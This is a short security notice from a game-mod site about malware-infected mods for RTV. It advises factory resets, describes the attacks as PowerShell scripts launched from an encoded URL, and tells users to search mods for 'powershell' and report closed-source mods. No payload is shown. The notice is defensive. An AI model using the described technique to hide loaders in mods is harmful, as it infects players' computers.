Your PC is likely infected with a malware. Do a proper reset to your computer.

What are we gonna do next? We are going to look for moderators to look at new mods for RTV. We'll be looking into ways to improve the site itself to better protect against these bad actors and also to let users know if a mod was infected - https://modworkshop.net/thread/13229. What can you do Again if you are infected, factory reset your computer. Search for suspicious things in the mods you download (like "powershell")
These attacks all follow the same pattern, they execute a powershell script using some encoded URL:

Any mod containing powershell script without a good reason should be reported to moderators. Any mod that isn't open-source should be reported.
